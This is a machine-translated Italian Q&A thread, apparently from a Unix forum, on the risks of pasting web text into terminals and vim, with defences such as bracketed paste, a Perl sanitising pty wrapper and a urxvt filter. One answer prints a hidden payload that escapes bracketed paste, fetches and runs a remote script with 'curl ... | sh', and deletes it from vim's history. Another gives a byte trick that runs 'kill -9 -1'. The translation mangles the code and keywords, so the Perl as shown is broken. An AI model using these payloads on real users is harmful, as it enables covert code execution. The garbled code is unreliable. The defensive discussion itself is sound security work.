Potresti averlo indovinato, ma non usare mai la funzionalità di incolla dei terminali per incollare le cose in vim / emacs . È come inviare una serie di comandi all'editor, che può fare qualsiasi cosa.

Per questi motivi, gli editor hanno la propria funzionalità di copia-incolla, che non può essere iniettata. Ad esempio, in vim, dovresti usare il registro + per scambiare dati con gli appunti di sistema ( "+ p per incollare).

Per quanto riguarda il shell o altre applicazioni del terminale: è stato stabilito che non devi incollare dati non sicuri nel tuo terminale.

Esiste un plug-in safe-paste per zsh, che impedisce al codice di essere effettivamente eseguito quando incollato, ma qualcuno lo ha già sfruttato comunque.

Inoltre, una domanda simile (sull'incollamento accidentale ) è stato chiesto su apple.se. La maggior parte delle soluzioni potrebbe funzionare anche per te.

Aggiorna: in vim, se set mouse = a viene utilizzato, incollare con il pulsante centrale del mouse è sicuro. Puoi comunque incollare con Maiusc-Inserisci.

Tieni presente che dalla versione 292, xterm rimuove i caratteri di controllo ASCII tranne \ b , \ r , \ t , DEL (0x7f) e \ n (converte \ n in \ r come altri terminali ) e puoi ripristinarli con la risorsa allowPasteControls . Anche VTE (la libreria dell'emulatore di terminale usata da gnome-terminal , terminator , xfce-terminal ...) lo fa da ottobre 2015

Quindi, in quei terminali, ^ C , ^ [, ^ D , ^ Z , ^ \ , ^ U , ^ W non sono più un problema ma DEL, \ b , \ t (molto pericoloso con alcune configurazioni (inclusa quella predefinita) di zsh dove il completamento può espandere le sostituzioni dei comandi), \ r e \ n lo sono ancora.

xterm ha anche un paio di modalità di incolla che possono aiutare qui.

• la modalità di incolla tra parentesi abilitata con la sequenza \ e [? 2004h utilizzata in alcuni plug-in zsh o vim safe -paste.

  zsh ( zle ) dalla 5.1 e bash ( readline ) dalla 4.4 ora hanno supporto per quello integrato. Sebbene sia abilitato per impostazione predefinita in zsh , è necessario per abilitarlo manualmente con bind 'set enable-bracketed-paste on' in bash (o nella configurazione readline in ~ / .inputrc o /etc/inputrc).

  Questo avvolge la selezione tra \ e [200 ~ e \ e [201 ~ .

  La maggior parte degli altri terminali moderni come quelli basati su VTE ( gnome-terminal , xfce-terminal , terminator ...), rxvt , konsole , OS / X Terminal ora supportano anche quello.

  In alcuni di questi altri terminali (o loro versioni) però (o con allowPasteControls in xterm ), questo è difettoso in quel \ e [201 ~ potrebbe apparire nella selezione e verrebbe preso come parentesi di chiusura.

  Ciò potrebbe essere risolto con parentesi come \ e \ e [201 ~ \ e [200 ~ 201 ~ , ma non è ancora fatto da nessun emulatore di terminale AFAIK (e significherebbe che l'applicazione vedrebbe diverse paste).

  ^ C / ^ Z / ^ \ causerebbe comunque l'invio di segnali al gruppo di processi in primo piano di il terminale se ISIG non era disabilitato nella disciplina della riga tty.

• La modalità incolla tra virgolette abilitata con \ e [? 2005h sequenza (disabilitata con \e[?2005l).

  Questo antepone ogni carattere (in realtà byte) con un carattere ^ V .

  ^ V è il carattere predefinito lnext ( letterale successivo ) della disciplina di riga tty in modalità canonica ed è riconosciuto come tale anche da vi e altri editor e alcuni editor di riga come readline o zle di zsh .

  Quello non ha lo stesso problema come la modalità tra parentesi sopra, e ha il vantaggio di funzionare per la modalità canonica del terminale (come quando esegui cat > file ) e poche altre applicazioni ma ne ha alcune svantaggi:

  • newline e CR finiscono per essere visualizzati come ^ M . Ciò può essere evitato con un'altra sequenza di escape: \ e [? 2006h , ma ciò fa sì che le nuove righe vengano inserite come caratteri NUL in vim e mostrate come ^ J (a meno che tu non faccia stty -echoctl ) nella modalità canonica del terminale (sebbene sia solo un problema estetico).
  • Non funziona alla grande per multi- caratteri byte non inseriti correttamente in zle o vim , ad esempio.
  • alcune applicazioni visive non gestiscono ^ V come letterale successivo , quindi potrebbe essere comunque necessario disattivarlo selettivamente.
  • puoi non lo uso in vim come ^ V 1 per esempio non inserisce 1 ma ^ A lì.
  • Non sono a conoscenza di nessun altro terminale oltre a xterm che lo supporti, ma non ho condotto un sondaggio approfondito.

• ti consente anche di definire la tua modalità di incolla tra parentesi tramite la configurazione. Ad esempio, con:

    XTerm * allowPasteControls: true XTerm.VT100.translations: #override \ Ctrl Shift<KeyPress> Insert: \ insert-formatted ("\ 033 [202 ~% S ~% s" , APPUNTI, PRINCIPALE, CUT_BUFFER0) " 

  inserirà APPUNTI / PRIMARIO / CUT_BUFFER0 come ^ [[202 ~ <size-in-bytes> ~ <content> su Maiusc + Ctrl + Inserisci . L'applicazione potrebbe quindi interpretarlo in modo affidabile (dovrebbe comunque disabilitare ISIG nella disciplina della riga tty).

Un altro approccio sarebbe quello di usa uno pseudo-tty wrapper che inserisce quei ^ V solo davanti ai caratteri di controllo. Tale wrapper dovrebbe essere in grado di rilevare i caratteri di controllo nelle paste con una certa affidabilità perché le reali pressioni dei tasti della tastiera invierebbero solo un carattere alla volta o una sequenza di caratteri che iniziano con ESC, mentre le paste ne invierebbero diversi alla volta .

Avresti ancora il problema delle nuove righe mostrate come ^ J nella modalità canonica del terminale o ^ @ in vim , ma questo potrebbe essere risolto con un po 'di collaborazione dalla shell

Una prova di concetto:

Da utilizzare ad esempio come:

  ./ safe-paste bash  

Per avviare una shell bash sotto quel wrapper.

  #! / usr / bin / perluse IO :: Pty; usa IO :: Stty; my $ pty = new IO :: Pty; my $ pid = fork ();
die "Impossibile eseguire il fork" se non definito $ pid; a meno che ($ pid) {$ pty->make_slave_controlling_terminal (); my $ slave = $ pty->slave (); chiudi $ pty; $ slave->clone_winsize_from (\ * STDIN); open (STDIN, "<&". $ slave->fileno ()) o die "Impossibile riaprire STDIN per la lettura, $! \ n"; open (STDOUT, ">&". $ slave->fileno ()) o die "Impossibile riaprire STDOUT in scrittura, $! \ n"; open (STDERR, ">&". $ slave->fileno ()) o die "Impossibile riaprire STDERR in scrittura, $! \ n"; chiudi $ slave; exec (@ARGV); die "Cannot exec (@ARGV): $!";} $ pty->close_slave (); $ SIG {WINCH} = sub {$ pty->slave->clone_winsize_from (\ * STDIN);}; my $ old = IO :: Stty :: stty (\ * STDIN, '-g'); IO :: Stty :: stty (\ * STDIN, 'raw', '-echo'); $ tty = fileno ($ pty); my ($ rin , $ ein) = ('', '', ''); vec ($ rin, 0, 1) = 1; vec ($ rin, $ tty, 1) = 1; vec ($ ein, $ tty, 1 ) = 1; my ($ to_stdout, $ to_tty) = ('', ''); my $ eof; $ SIG {CHLD} = sub {$ eof = 1}; until ($ eof && $ to_stdout eq '' && $ to_tty eq '') {my ($ rout, $ wout, $ eout, $ timeleft); la mia $ vittoria = ''; vec ($ win, 0, 1) = 1 if ($ to_stdout ne ""); vec ($ win, $ tty, 1) = 1 if ($ to_tty ne ""); ($ nfound, $ timeleft) = seleziona ($ rout = $ rin, $ wout = $ win, $ eout = $ ein, undef); if ($ nfound > 0) {if (vec ($ eout, $ tty, 1)) {print STDERR "Eccezione su $ tty \ n"; } if (vec ($ rout, 0, 1)) {my $ buf; if (sysread (STDIN, $ buf, 4096)) {if ($ buf = ~ /.[\0-\037\177”/ || $ buf = ~ / ^ (?: [\ 0- \ 032 \ 034 - \ 037] | \ 033. *? [~ A-zA-NP-Z]) ./) {$ buf = ~ s / [\ 0- \ 037 \ 177] / \ 026 $ & / g; # TODO: aggiungi la sanificazione UTF-8 $ buf = ~ y / \ r / \ n /; } $ to_tty. = $ buf; } altro {$ eof = 1; vec ($ rin, 0, 1) = 0; }} if (vec ($ rout, $ tty, 1)) {my $ buf; if (sysread ($ pty, $ buf, 4096)) {$ to_stdout. = $ buf; } altro {$ eof = 1;
vec ($ rin, $ tty, 1) = 0; $ to_tty = ''; }} if ($ to_tty ne '' && vec ($ wout, $ tty, 1)) {my $ written = syswrite ($ pty, $ to_tty); $ to_tty = substr ($ to_tty, $ scritto) se $ scritto; } if ($ to_stdout ne '' && vec (wout, 1, 1)) {my $ written = syswrite (STDOUT, $ to_stdout); $ to_stdout = substr ($ to_stdout, $ scritto) se $ scritto; }}} END {IO :: Stty :: stty (\ * STDIN, $ old)}  

Un approccio migliore sarebbe probabilmente usare un gestore di appunti in cui puoi specificare la modalità di incolla e questo segnalerebbe selezioni potenzialmente pericolose.

Bene, risulta che il mio attuale approccio agli appunti è efficace per mitigare questo problema.

Quando copio e incollo frammenti tra le schede, copio e incolla normalmente.

Tuttavia, quando copio e incolla in una sessione di terminale / PuTTY, io (essendo un po 'contrario alla modifica del testo nel terminale), di solito lo assemblo in Notepad ++ o Emacs (a seconda del sistema operativo) e poi copio- incolla il testo finale nel terminale. Entrambi gli editor mostrano caratteri di controllo (e altri caratteri non stampabili), quindi è facile notare qualsiasi intralcio lì.

Sfortunatamente non posso affermare di utilizzare l'approccio dell'editor di testo intermedio per motivi di sicurezza, è perché non sono ancora esperto in vim o in qualsiasi altro editor basato su terminale.

Potrei affermare che qualsiasi copia&paste di frammenti di codice è una cattiva abitudine, ma questo va oltre il problema. Personalmente digito tali elementi di codice invece di copiarli, ma questo perché di solito voglio cambiare alcune cose in essi o imparare a svolgere il compito in questione; o forse sono solo un maniaco delirante.

Quello che potresti fare è disinfettare automaticamente i contenuti degli appunti . Un'applicazione in background può monitorare costantemente il contenuto del buffer tagliato e rimuovere i caratteri di controllo; Non sono sicuro che X11 possa essere indotto a inviare un evento per una modifica del buffer di taglio, ma eseguire il polling 10 volte al secondo farebbe il trucco. La dualità X11 (buffer tagliati vs selezioni) renderà le cose un po 'più complesse ma credo che questo possa essere fatto (e, inoltre, credo che tu possa farlo).

La sanificazione dei contenuti può essere complicata. Ad esempio, supponi di rimuovere tutti i byte nell'intervallo 0..31 (i caratteri di controllo ASCII) eccetto la nuova riga (10), il ritorno a capo (13) e le tabulazioni (9). Quindi, se scrivo questo (sistema Linux):

  printf "\ xC0 \ x9B:! Kill -9 -1 \ n" | xclip  

e poi lo incollo in un'istanza vim in esecuzione in xterm (in modalità UTF-8), quindi uccido tutto i miei processi ... anche se il buffer di taglio non contiene mai alcun carattere di controllo "indesiderato" in alcun punto. La sequenza C0 9B non è UTF-8 valida, ma abbastanza vicina in modo che xterm proverà a decodificarla comunque e decodifica in 0x1B , aka Escape ... altre sequenze complicate includono E0 80 9B . Tieni presente che, sebbene UTF-8 valido mai includa un byte di valore C0 , potrebbe contenere byte di valore E0 , 80 e 9B (ma non in quella sequenza). Il processo di sanificazione quindi sarebbe meglio essere completo e rigoroso.

Una funzionalità aggiuntiva di tale strumento sarebbe quella di convertire automaticamente le sequenze CR + LF e CR solitario in LF. Forse converti i sanguinosi caratteri CP-1252 della gamma 128..159 nelle loro controparti normali e sane. Questo non è solo un problema di sicurezza; potrebbe essere uno strumento utile in situazioni non dannose.

Ho risolto questo problema da solo di recente eseguendo il mio browser web in una macchina virtuale. La selezione x non è sincronizzata tra la VM e l'host, quindi non è più possibile per me fare clic con il pulsante centrale e incollare elementi dal Web in un terminale senza pensare.

Va ​​molto più in profondità rispetto alle modifiche di riga incorporate in cui dovresti almeno vedere cosa succede; o almeno vedere che qualcosa veniva nascosto. Potrei pubblicare un frammento di codice dall'aspetto benigno come questo:

 let t_BE = "\ <esc> [? 2004  h" 

Quindi prova a indurre le persone a copiarlo e incollarlo in uno specifico editor di testo in uno specifico emulatore di terminale, ad esempio suggerendo che è necessario mitigare un problema (forse anche un problema di sicurezza) che i due hanno quando operano insieme.

Il testo preformattato sopra mostra un'impostazione vim benigna, ma include un'immagine e utilizza il suo testo alternativo per includere il seguente payload quando viene copiato:

 \ e [201 ~ \ e: call system ('( curl -s https://pastebin.com/raw/zSBiFpKn|sh)&'):call histdel ('cmd', 'zSBiFpKn') a \ e [200 ~ 

(i codici di controllo sono incorporato come & # nn; sfugge nel codice sorgente del markdown, ma li ho modificati per chiarezza, qui)

Se copi il testo sopra puoi confermare di aver prelevato il payload con un comando come:

 xsel | hexdump -C 

Questa stringa presume che il target utilizzi vim dall'interno di un emulatore di terminale vulnerabile e non utilizzi la funzionalità degli appunti di X11. Inizia con la sequenza di escape per uscire dalla modalità di incolla tra parentesi in modo che i caratteri di controllo successivi vengano trattati come sequenze di tasti, quindi un altro escape per uscire dalla modalità di inserimento e quindi due comandi:

: call system ('(curl -s https://pastebin.com/raw/zSBiFpKn|sh)&')

per scaricare ed eseguire uno script di shell in background e:

: call histdel ('cmd ',' zSBiFpKn ') 

per eliminare i due comandi (o qualsiasi comando con la stringa corrispondente) dalla cronologia dei comandi in modo che non vengano scoperti in seguito e termina con il comando per rientrare in modalità di inserimento e la sequenza di escape per rientrare nella modalità di incolla tra parentesi, in modo che le cose siano coerenti quando il terminale aggiunge l'escape finale per uscire dalla modalità di incolla tra parentesi.

Se la modalità di incolla tra parentesi non è disponibile, nella stringa incollata nel buffer viene visualizzato un po 'di technobabble in più, ma altrimenti le cose dovrebbero comunque funzionare.

Dato che entrambi i comandi ritornano immediatamente, ci sono buone probabilità che " sarà completo prima che la schermata successiva ripercorra, quindi lo schermo non presenterà anomalie. L'emissione separata dei due comandi garantisce che si adattino a un terminale a 80 colonne: se la riga di comando deve essere espansa su più di una riga l'aggiornamento dello schermo è molto più complicato e più lento, quindi lo schermo può presentare problemi (a seconda sistema e terminale, immagino).

Se tutto funziona, l'attacco avviene in modo invisibile all'utente, e pensano di aver incollato con successo il testo che hanno visto nel loro buffer e non è successo nient'altro. Ci sarà una discontinuità nella numerazione della cronologia dei comandi, ma nessuna spiegazione ovvia per questo.

Per completare questo in una risposta; questa dimostrazione è per lo più storica. La modalità Incolla tra parentesi è ampiamente supportata e nella maggior parte dei terminali non è possibile interromperla con gli escape incorporati (controllare questo e aggiornare / segnalare se necessario). Dovresti configurare la shell, i tuoi editor e qualsiasi altra cosa in cui potresti incollare per abilitare la modalità di incolla tra parentesi.

Quello che faccio per proteggermi da ciò è utilizzare la modalità incolla tra parentesi. Come ha detto Stéphane, zsh e urxvt lo supportano di default. Se ti limiti a incollare solo quando ti trovi in ​​un prompt zsh in urxvt, l'unico vero problema che hai lasciato (non vedo alcun problema con ^ C o ^ Z che causano segnali in il prompt) è che l'incolla potrebbe contenere la sequenza di escape per terminare l'incolla e interpretare il resto come se fosse stato digitato.

Risolvere questo problema in sospeso è l'argomento di questa risposta. Scriverò quello che ho fatto per il mio caso, ma dovrebbe essere fattibile anche in altri terminali, se non per estensione, allora tramite patch.

urxvt supporta le estensioni perl. L'ho scritto in ~/.urxvt/ext/filter-paste:

  sub on_tt_paste {my ($ term, $ octets) = @_; $ ottetti = ~ s / \ x1b \ [201 ~ // g; $ term->tt_paste ($ ottetti); return true;}  

l'ha incluso nell'elenco delle estensioni perl da caricare in ~/.Xresources:

  URxvt. perl-ext-common: filter-paste  

e ricaricato la configurazione per le nuove finestre di terminale con xrdb ~ / .Xresources .

Con che, urxvt rimuove tutte le istanze della sequenza di escape della modalità incolla di chiusura da ciò che viene incollato nel terminale.

La pagina web, http://thejh.net/misc/website-terminal-copy- incolla, ha 2 esempi di exploit per questo al momento della scrittura. Prima di scrivere l'estensione, zsh con urxvt sarebbe invulnerabile per il primo esempio, ma non per il secondo che include la sequenza di escape per terminare la modalità paste. Dopo averlo scritto, nessuno dei due funzionava e il contenuto completo di ciò che era stato incollato veniva visualizzato nel prompt, aspettando un Invio prima di eseguirlo (zsh non eseguirà un comando incollato con la modalità incolla tra parentesi anche se contiene nuove righe finché non si preme Invio).

EDIT: richiesto dal commento di sh1, ho testato altri emulatori di terminale per vedere quali erano ancora vulnerabili.

 | - --------------- + --------- + -------- |
| terminale | versione | fisso || ---------------- + --------- + -------- || yakuake | 3.0.5 | ok || gnome-terminal | 3.28.1 | ok || konsole | 18.04.0 | ok || xterm | 332 | ok || sakura | 3.5.0 | ok || vte3 | 0.52.1 | ok || mastice | 0.71 | ok || termite | 14 | ok || st | 0.8.1 | fallito || qterminal | 0.14.1 | fallito || ---------------- + --------- + -------- | 

Tutte le versioni sono quelle attualmente presente al momento della scrittura nei repository dei pacchetti Archlinux (Archlinux è in fase di rilascio).